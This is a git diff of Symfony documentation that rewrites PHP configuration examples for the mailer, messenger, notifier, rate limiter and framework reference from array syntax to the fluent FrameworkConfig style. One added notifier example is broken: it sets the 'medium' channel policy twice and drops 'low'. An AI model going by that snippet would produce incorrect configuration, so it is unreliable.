-                'dsn' => 'null://null',
-            ],
-        ]);
+            $framework->mailer()
+                ->dsn('null://null');
+        };
 
 .. note::
 
@@ -1352,14 +1354,15 @@ a specific address, instead of the *real* address:
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
-                'envelope' => [
-                    'recipients' => ['youremail@example.com'],
-                ],
-            ],
-        ]);
+            $framework->mailer()
+                ->envelope()
+                    ->recipients(['youremail@example.com'])
+            ;
+        };
 
 .. _`high availability`: https://en.wikipedia.org/wiki/High_availability
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
diff --git a/messenger.rst b/messenger.rst
index c5725a4153a..000b4b622f6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -179,19 +179,20 @@ that uses this configuration:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                    // or expanded to configure more options
-                    'async' => [
-                       'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                       'options' => [],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+            ;
+
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->options([])
+            ;
+        };
 
 .. _messenger-routing:
 
@@ -240,14 +241,14 @@ you can configure them to be sent to a transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // async is whatever name you gave your transport above
-                    'App\Message\SmsNotification' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                // async is whatever name you gave your transport above
+                ->routing('App\Message\SmsNotification')->senders(['async'])
+            ;
+        };
 
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
@@ -302,16 +303,15 @@ to multiple transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // route all messages that extend this example base class or interface
-                    'App\Message\AbstractAsyncMessage' => 'async',
-                    'App\Message\AsyncMessageInterface' => 'async',
-                    'My\Message\ToBeSentToTwoSenders' => ['async', 'audit'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+            // route all messages that extend this example base class or interface
+            $messenger->routing('App\Message\AbstractAsyncMessage')->senders(['async']);
+            $messenger->routing('App\Message\AsyncMessageInterface')->senders(['async']);
+            $messenger->routing('My\Message\ToBeSentToTwoSenders')->senders(['async', 'audit']);
+        };
 
 .. note::
 
@@ -425,18 +425,16 @@ transport and "sending" messages there to be handled immediately:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    // ... other transports
-
-                    'sync' => 'sync://',
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'sync',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // ... other transports
+
+            $messenger->transport('sync')->dsn('sync://');
+            $messenger->routing('App\Message\SmsNotification')->senders(['sync']);
+        };
 
 Creating your Own Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -561,28 +559,22 @@ different messages to them. For example:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'high',
-                        ],
-                    ],
-                    'async_priority_low' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'low',
-                        ],
-                    ],
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'async_priority_low',
-                    'App\Message\NewUserWelcomeEmail' => 'async_priority_high',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'high']);
+
+            $messenger->transport('async_priority_low')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'low']);
+
+            $messenger->routing('App\Message\SmsNotification')->senders(['async_priority_low']);
+            $messenger->routing('App\Message\NewUserWelcomeEmail')->senders(['async_priority_high']);
+        };
 
 You can then run individual workers for each transport or instruct one worker
 to handle messages in a priority order:
@@ -732,29 +724,27 @@ this is configurable for each transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                        // default configuration
-                        'retry_strategy' => [
-                            'max_retries' => 3,
-                            // milliseconds delay
-                            'delay' => 1000,
-                            // causes the delay to be higher before each retry
-                            // e.g. 1 second delay, 2 seconds, 4 seconds
-                            'multiplier' => 2,
-                            'max_delay' => 0,
-                            // override all of this with a service that
-                            // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
-                            // 'service' => null,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                // default configuration
+                ->retryStrategy()
+                    ->maxRetries(3)
+                    // milliseconds delay
+                    ->delay(1000)
+                    // causes the delay to be higher before each retry
+                    // e.g. 1 second delay, 2 seconds, 4 seconds
+                    ->multiplier(2)
+                    ->maxDelay(0)
+                    // override all of this with a service that
+                    // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
+                    ->service(null)
+            ;
+        };
 
 .. tip::
 
@@ -833,20 +823,19 @@ be discarded. To avoid this happening, you can instead configure a ``failure_tra
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // after retrying, messages will be sent to the "failed" transport
-                'failure_transport' => 'failed',
-
-                'transports' => [
-                    // ... other transports
-
-                    'failed' => [
-                        'dsn' => 'doctrine://default?queue_name=failed',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            $messenger->failureTransport('failed');
+
+            // ... other transports
+
+            $messenger->transport('failed')
+                ->dsn('doctrine://default?queue_name=failed');
+        };
 
 In this example, if handling a message fails 3 times (default ``max_retries``),
 it will then be sent to the ``failed`` transport. While you *can* use
@@ -900,8 +889,8 @@ override the failure transport for only specific transports:
         # config/packages/messenger.yaml
         framework:
             messenger:
-                # after retrying, messages will be sent to the "failed" transport 
-                # by default if no "failed_transport" is configured inside a transport 
+                # after retrying, messages will be sent to the "failed" transport
+                # by default if no "failed_transport" is configured inside a transport
                 failure_transport: failed_default
 
                 transports:
@@ -915,7 +904,7 @@ override the failure transport for only specific transports:
                         dsn: 'doctrine://default?queue_name=async_priority_low'
 
                     failed_default: 'doctrine://default?queue_name=failed_default'
-                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority' 
+                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority'
 
     .. code-block:: xml
 
@@ -930,14 +919,14 @@ override the failure transport for only specific transports:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- after retrying, messages will be sent to the "failed" transport 
+                <!-- after retrying, messages will be sent to the "failed" transport
                 by default if no "failed-transport" is configured inside a transport -->
                 <framework:messenger failure-transport="failed_default">
-                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/> 
+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/>
                     <!-- since no "failed_transport" is configured, the one used will be
                     the global "failed_transport" set -->
                     <framework:transport name="async_priority_low" dsn="doctrine://default?queue_name=async_priority_low"/>
-                    
+
                     <framework:transport name="failed_default" dsn="doctrine://default?queue_name=failed_default"/>
                     <framework:transport name="failed_high_priority" dsn="doctrine://default?queue_name=failed_high_priority"/>
                 </framework:messenger>
@@ -947,31 +936,30 @@ override the failure transport for only specific transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // after retrying, messages will be sent to the "failed" transport 
-                // by default if no "failure_transport" is configured inside a transport
-                'failure_transport' => 'failed_default',
-
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'failure_transport' => 'failed_high_priority'
-                    ],
-                    // since no failed transport is configured, the one used will be
-                    // the global failure_transport set 
-                    'async_priority_low' => [
-                        'dsn' => 'doctrine://default?queue_name=async_priority_low',
-                    ],
-                    'failed_default' => [
-                        'dsn' => 'doctrine://default?queue_name=failed_default',
-                    ],
-                    'failed_high_priority' => [
-                        'dsn' => 'doctrine://default?queue_name=failed_high_priority',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            // by default if no "failure_transport" is configured inside a transport
+            $messenger->failureTransport('failed_default');
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->failureTransport('failed_high_priority');
+
+            // since no failed transport is configured, the one used will be
+            // the global failure_transport set
+           $messenger->transport('async_priority_low')
+                ->dsn('doctrine://default?queue_name=async_priority_low');
+
+           $messenger->transport('failed_default')
+                ->dsn('doctrine://default?queue_name=failed_default');
+
+           $messenger->transport('failed_high_priority')
+                ->dsn('doctrine://default?queue_name=failed_high_priority');
+        };
 
 If there is no ``failure_transport`` defined globally or on the transport level,
 the messages will be discarded after the number of retries.
@@ -1040,18 +1028,15 @@ options. Options can be passed to the transport via a DSN string or configuratio
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'my_transport' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'auto_setup' => false,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('my_transport')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['auto_setup' => false]);
+        };
 
 Options defined under ``options`` take precedence over ones defined in the DSN.
 
@@ -1454,15 +1439,14 @@ override it in the ``test`` environment to use this transport:
     .. code-block:: php
 
         // config/packages/test/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => 'in-memory://',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')
+                ->dsn('in-memory://');
+        };
 
 Then, while testing, messages will *not* be delivered to the real transport.
 Even better, in a test, you can check that exactly one message was sent
@@ -1643,23 +1627,21 @@ this globally (or for each transport) to a service that implements
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'serializer' => [
-                    'default_serializer' => 'messenger.transport.symfony_serializer',
-                    'symfony_serializer' => [
-                        'format' => 'json',
-                        'context' => [],
-                    ],
-                ],
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => ...,
-                        'serializer' => 'messenger.transport.symfony_serializer',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->serializer()
+                ->defaultSerializer('messenger.transport.symfony_serializer')
+                ->symfonySerializer()
+                    ->format('json')
+                    ->context('foo', 'bar');
+
+            $messenger->transport('async_priority_normal')
+                ->dsn(...)
+                ->serializer('messenger.transport.symfony_serializer');
+        };
 
 The ``messenger.transport.symfony_serializer`` is a built-in service that uses
 the :doc:`Serializer component </serializer>` and can be configured in a few ways.
@@ -1881,17 +1863,17 @@ Then, make sure to "route" your message to *both* transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => '...',
-                    'image_transport' => '...',
-                ],
-                'routing' => [
-                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')->dsn(...);
+            $messenger->transport('image_transport')->dsn(...);
+
+            $messenger->routing('App\Message\UploadedImage')
+                ->senders(['image_transport', 'async_priority_normal']);
+        };
 
 That's it! You can now consume each transport:
 
@@ -2024,22 +2006,16 @@ middleware and *only* include your own:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'messenger.bus.default' => [
-                        // disable the default middleware
-                        'default_middleware' => false,
-
-                        // and/or add your own
-                        'middleware' => [
-                            'App\Middleware\MyMiddleware',
-                            'App\Middleware\AnotherMiddleware',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('messenger.bus.default')
+                ->defaultMiddleware(false);
+            $bus->middleware()->id('App\Middleware\MyMiddleware');
+            $bus->middleware()->id('App\Middleware\AnotherMiddleware');
+        };
 
 .. note::
 
@@ -2118,21 +2094,19 @@ may want to use:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'doctrine_transaction',
-                            'doctrine_ping_connection',
-                            'doctrine_close_connection',
-                            // Using another entity manager
-                            ['id' => 'doctrine_transaction', 'arguments' => ['custom']],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('doctrine_transaction');
+            $bus->middleware()->id('doctrine_ping_connection');
+            $bus->middleware()->id('doctrine_close_connection');
+            // Using another entity manager
+            $bus->middleware()->id('doctrine_transaction')
+                ->arguments(['custom']);
+        };
 
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
@@ -2182,17 +2156,14 @@ when building absolute URLs.
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'router_context',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('router_context');
+        };
 
 
 Messenger Events
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index be41d63a41e..f43f347e642 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -203,13 +203,14 @@ named transport using your own DSN:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'yours' => 'my-transport://...',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('yours')
+                    ->dsn('my-transport://...')
+            ;
+        };
 
 In addition of being able to route your messages to the ``yours`` sender, this
 will give you access to the following services:
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index fc61a0c9dd2..5a1ffecf94c 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -74,33 +74,25 @@ an **event bus**. The event bus could have zero or more subscribers.
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // The bus that is going to be injected when injecting MessageBusInterface
-                'default_bus' => 'command.bus',
-                'buses' => [
-                    'command.bus' => [
-                        'middleware' => [
-                            'validation',
-                            'doctrine_transaction',
-                        ],
-                    ],
-                    'query.bus' => [
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                    'event.bus' => [
-                        // the 'allow_no_handlers' middleware allows to have no handler
-                        // configured for this bus without throwing an exception
-                        'default_middleware' => 'allow_no_handlers',
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // The bus that is going to be injected when injecting MessageBusInterface
+            $framework->messenger()->defaultBus('command.bus');
+
+            $commandBus = $framework->messenger()->bus('command.bus');
+            $commandBus->middleware()->id('validation');
+            $commandBus->middleware()->id('doctrine_transaction');
+
+            $queryBus = $framework->messenger()->bus('query.bus');
+            $queryBus->middleware()->id('validation');
+
+            $eventBus = $framework->messenger()->bus('event.bus');
+            // the 'allow_no_handlers' middleware allows to have no handler
+            // configured for this bus without throwing an exception
+            $eventBus->defaultMiddleware('allow_no_handlers');
+            $eventBus->middleware()->id('validation');
+        };
 
 This will create three new services:
 
diff --git a/notifier.rst b/notifier.rst
index 5bbd12252a2..c552d757dff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -132,14 +132,14 @@ configure the ``texter_transports``:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'texter_transports' => [
-                    'twilio' => '%env(TWILIO_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('twilio', '%env(TWILIO_DSN)%')
+            ;
+        };
 
 .. _notifier-chat-channel:
 .. _notifier-chatter-dsn:
@@ -224,14 +224,14 @@ Chatters are configured using the ``chatter_transports`` setting:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    'slack' => '%env(SLACK_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->chatterTransport('slack', '%env(SLACK_DSN)%')
+            ;
+        };
 
 .. _notifier-email-channel:
 
@@ -288,15 +288,16 @@ notification emails:
 
     .. code-block:: php
 
-        # config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            'mailer' => [
-                'dsn' => '%env(MAILER_DSN)%',
-                'envelope' => [
-                    'sender' => 'notifications@example.com',
-                ],
-            ],
-        ]);
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->dsn('%env(MAILER_DSN)%')
+                ->envelope()
+                    ->sender('notifications@example.com')
+            ;
+        };
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -351,19 +352,19 @@ transport:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    // Send notifications to Slack and use Telegram if
-                    // Slack errored
-                    'main' => '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%',
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
 
-                    // Send notifications to the next scheduled transport calculated by round robin
-                    'roundrobin' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%',
-                ],
-            ],
-        ]);
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                // Send notifications to Slack and use Telegram if
+                // Slack errored
+                ->chatterTransport('main', '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%')
+
+                // Send notifications to the next scheduled transport calculated by round robin
+                ->chatterTransport('roundrobin', '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%')
+            ;
+        };
 
 Creating & Sending Notifications
 --------------------------------
@@ -495,23 +496,21 @@ specify what channels should be used for specific levels (using
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                // ...
-                'channel_policy' => [
-                    // Use SMS, Slack and email for urgent notifications
-                    'urgent' => ['sms', 'chat/slack', 'email'],
-
-                    // Use Slack for highly important notifications
-                    'high' => ['chat/slack'],
-
-                    // Use browser for medium and low notifications
-                    'medium' => ['browser'],
-                    'low' => ['browser'],
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->notifier()
+                // Use SMS, Slack and email for urgent notifications
+                ->channelPolicy('urgent', ['sms', 'chat/slack', 'email'])
+                // Use Slack for highly important notifications
+                ->channelPolicy('high', ['chat/slack'])
+                // Use browser for medium and low notifications
+                ->channelPolicy('medium', ['browser'])
+                ->channelPolicy('medium', ['browser'])
+            ;
+        };
 
 Now, whenever the notification's importance is set to "high", it will be
 sent using the Slack transport::
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 2ab832d7031..96f0cd0e5e0 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -177,21 +177,26 @@ enforce different levels of service (free or paid):
     .. code-block:: php
 
         // config/packages/rate_limiter.php
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                'anonymous_api' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
                     // use 'sliding_window' if you prefer that policy
-                    'policy' => 'fixed_window',
-                    'limit' => 100,
-                    'interval' => '60 minutes',
-                ],
-                'authenticated_api' => [
-                    'policy' => 'token_bucket',
-                    'limit' => 5000,
-                    'rate' => [ 'interval' =>  '15 minutes', 'amount' =>  500 ],
-                ],
-            ],
-        ]);
+                    ->policy('fixed_window')
+                    ->limit(100)
+                    ->interval('60 minutes')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('authenticated_api')
+                    ->policy('token_bucket')
+                    ->limit(5000)
+                    ->rate()
+                        ->interval('15 minutes')
+                        ->amount(500)
+                ;
+        };
 
 .. note::
 
@@ -409,16 +414,17 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
     .. code-block:: php
 
         // config/packages/rate_limiter.php
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                'anonymous_api' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
                     // ...
 
                     // use the "cache.anonymous_rate_limiter" cache pool
-                    'cache_pool' => 'cache.anonymous_rate_limiter',
-                ],
-            ],
-        ]);
+                    ->cachePool('cache.anonymous_rate_limiter')
+                ;
+        };
 
 .. note::
 
@@ -483,16 +489,17 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
     .. code-block:: php
 
         // config/packages/rate_limiter.php
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                'anonymous_api' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
                     // ...
 
                     // use the "lock.rate_limiter.factory" for this limiter
-                    'lock_factory' => 'lock.rate_limiter.factory',
-                ],
-            ],
-        ]);
+                    ->lockFactory('lock.rate_limiter.factory')
+                ;
+        };
 
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3b2f97a9156..0ca87286119 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -454,9 +454,11 @@ doubling them to prevent Symfony from interpreting them as container parameters)
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ide' => 'myide://open?url=file://%%f&line=%%l',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ide('myide://open?url=file://%%f&line=%%l');
+        };
 
 Since every developer uses a different IDE, the recommended way to enable this
 feature is to configure it on a system level. This can be done by setting the
@@ -596,9 +598,11 @@ the application won't respond and the user will receive a 400 response.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'trusted_hosts' => ['^example\.com$', '^example\.org$'],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
+        };
 
 Hosts can also be configured to respond to any subdomain, via
 ``^(.+\.)?example\.com$`` for instance.
@@ -724,9 +728,11 @@ You can also set ``esi`` to ``true`` to enable it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'esi' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()->enabled(true);
+        };
 
 fragments
 ~~~~~~~~~
@@ -1359,13 +1365,12 @@ To configure a ``jsonp`` format:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'request' => [
-                'formats' => [
-                    'jsonp' => 'application/javascript',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->request()
+                ->format('jsonp', 'application/javascript');
+        };
 
 router
 ~~~~~~
@@ -1720,11 +1725,12 @@ setting the value to ``null``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'save_path' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->savePath(null);
+        };
 
 .. _reference-session-metadata-update-threshold:
 
@@ -1774,11 +1780,12 @@ Whether to enable the session support in the framework.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'enabled' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->enabled(true);
+        };
 
 use_cookies
 ...........
@@ -1830,12 +1837,13 @@ This option allows you to define a base path to be used for assets:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_path' => '/images',
-            ],
-        ]);
+            $framework->assets()
+                ->basePath('/images');
+        };
 
 .. _reference-templating-base-urls:
 .. _reference-assets-base-urls:
@@ -1879,12 +1887,13 @@ collection each time it generates an asset's path:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_urls' => ['http://cdn.example.com/'],
-            ],
-        ]);
+            $framework->assets()
+                ->baseUrls(['http://cdn.example.com/']);
+        };
 
 .. _reference-framework-assets-packages:
 
@@ -1928,16 +1937,14 @@ You can group assets into packages, to specify different base URLs for them:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'packages' => [
-                    'avatars' => [
-                        'base_urls' => 'http://static_cdn.example.com/avatars',
-                    ],
-                ],
-            ],
-        ]);
+            $framework->assets()
+                ->package('avatars')
+                    ->baseUrls(['http://static_cdn.example.com/avatars']);
+        };
 
 Now you can use the ``avatars`` package in your templates:
 
@@ -2005,12 +2012,13 @@ Now, activate the ``version`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version' => 'v2',
-            ],
-        ]);
+            $framework->assets()
+                ->version('v2');
+        };
 
 Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
 this feature, you **must** manually increment the ``version`` value
@@ -2132,25 +2140,25 @@ individually for each asset package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
-                'version_strategy' => 'app.asset.my_versioning_strategy',
-                'packages' => [
-                    'foo_package' => [
-                        // this package removes any versioning (its assets won't be versioned)
